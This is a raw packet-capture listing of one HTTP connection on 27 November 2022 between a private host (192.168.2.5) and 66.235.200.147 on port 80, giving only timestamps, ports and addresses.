Nov 27, 2022 04:36:40.135873079 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.135884047 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.135919094 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.149220943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.149274111 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.149306059 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.149336100 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.149365902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.149398088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.149405003 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.149405956 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.149426937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.149452925 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.149461031 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.149492025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.149508953 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.149523973 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.149554968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.149573088 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.149589062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.149617910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.149636030 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.149648905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.149679899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.149699926 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.149710894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.149743080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.149753094 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.149774075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.149802923 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.149821043 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.149832964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.149862051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.149878979 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.149892092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.149923086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.149944067 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.149952888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.149986982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.149998903 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.150017023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150046110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150063038 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.150077105 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150105953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150120974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.150136948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150166988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150183916 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.150197983 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150232077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150249958 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.150262117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150294065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150310040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.150327921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150357008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150379896 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.150388002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150418043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150434017 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.150448084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150479078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150500059 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150521994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150543928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150564909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150587082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150608063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150639057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150660992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150684118 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.150690079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150721073 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150732994 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.150749922 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.150753021 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150785923 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150814056 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.150815964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150866032 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.150950909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.150984049 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151012897 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151035070 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.151042938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151072979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151096106 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.151103973 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151134968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151148081 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.151166916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151197910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151206970 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.151228905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151257992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151269913 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.151288033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151316881 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151329994 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.151346922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151376009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151387930 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.151407003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151436090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151451111 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.151464939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151494980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151508093 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.151524067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151552916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151576042 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.151587009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151616096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151632071 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.151645899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151689053 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.151848078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151876926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151906967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151927948 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.151937008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151973009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.151983976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.152004004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152033091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152043104 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.152065039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152096033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152112007 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.152123928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152153969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152168989 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.152183056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152225971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152240038 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.152256966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152286053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152307987 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.152316093 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152345896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152355909 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.152375937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152407885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152419090 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.152439117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152471066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152513027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152518988 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.152543068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152561903 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.152575016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152607918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152625084 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.152775049 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152806044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152828932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152859926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152889967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152919054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152944088 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.152945042 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.152950048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152981043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.152993917 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.153012037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.153043032 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.153063059 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.153073072 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.153104067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.153115034 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.153132915 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.153162003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.153181076 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.153191090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.153219938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.153233051 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.153249025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.153280020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.153307915 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.153309107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.153337002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.153351068 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.153366089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.153394938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.153409958 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.153424025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.153453112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.153470039 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.153481960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.153528929 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.153742075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.153770924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.153814077 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.153825045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.153856039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.153887033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.153903961 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.153918028 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.153947115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.153960943 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.153978109 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.154006004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.154021025 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.154037952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.154067039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.154081106 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.154098988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.154129028 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.154139996 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.154158115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.154187918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.154198885 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.154217958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.154247046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.154259920 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.154277086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.154305935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.154323101 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.154336929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.154366970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.154377937 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.154397964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.154428959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.154444933 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.154458046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.154488087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.154500961 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.170691013 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.170758963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.170785904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.170802116 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.170857906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.170866013 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.170938015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.170979977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.171019077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.171025991 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.171057940 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.171097040 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.171128035 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.171144009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.171168089 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.171184063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.171222925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.171242952 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.171267033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.171305895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.171329975 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.171345949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.171385050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.171405077 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.171427011 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.171468019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.171494961 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.171506882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.171545982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.171586037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.171586037 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.171627998 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.171648026 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.171668053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.171708107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.171725035 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.171746969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.171786070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.171823978 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.171824932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.171864033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.171875000 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.171904087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.171943903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.171957970 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.171984911 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.172024965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.172034979 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.172063112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.172101974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.172112942 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.172142029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.172193050 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.172199965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.172246933 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.172286034 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.172298908 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.172323942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.172363043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.172389984 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.172401905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.172441959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.172461987 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.172487974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.172555923 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.172597885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.172616959 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.172636986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.172674894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.172713041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.172712088 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.172750950 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.172753096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.172792912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.172817945 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.172832012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.172869921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.172883034 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.172909975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.172947884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.172962904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.172987938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.173026085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.173036098 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.173064947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.173104048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.173111916 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.173144102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.173182011 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.173192978 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.173222065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.173260927 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.173299074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.173312902 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.173337936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.173353910 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.173377037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.173415899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.173454046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.173491955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.173496962 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.173530102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.173552036 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.173568964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.173602104 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.173609972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.173650026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.173671961 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.173688889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.173729897 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.173769951 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.173770905 CET	49705	80	192.168.2.5	66.235.200.147
